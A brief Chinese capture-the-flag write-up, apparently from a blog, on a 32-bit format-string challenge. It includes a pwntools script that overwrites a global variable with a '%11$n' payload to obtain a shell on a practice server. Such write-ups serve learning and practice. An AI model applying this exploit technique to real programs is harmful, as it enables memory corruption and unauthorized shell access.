一道格式化字符串的题目有canary保护buf那里很明显的格式化字符串漏洞。只要x=4就能getshell没有pie 查看x的地址x等于3所以要改为4,32位程序,所以wp如下 from pwn import *io =remote('node4.buuoj.cn',26411)x_addr =0x0804A02Cpayload = p32(x_addr)+'%11$n'io.sendline(payload)io.interactive()写道水题吧嘿嘿嘿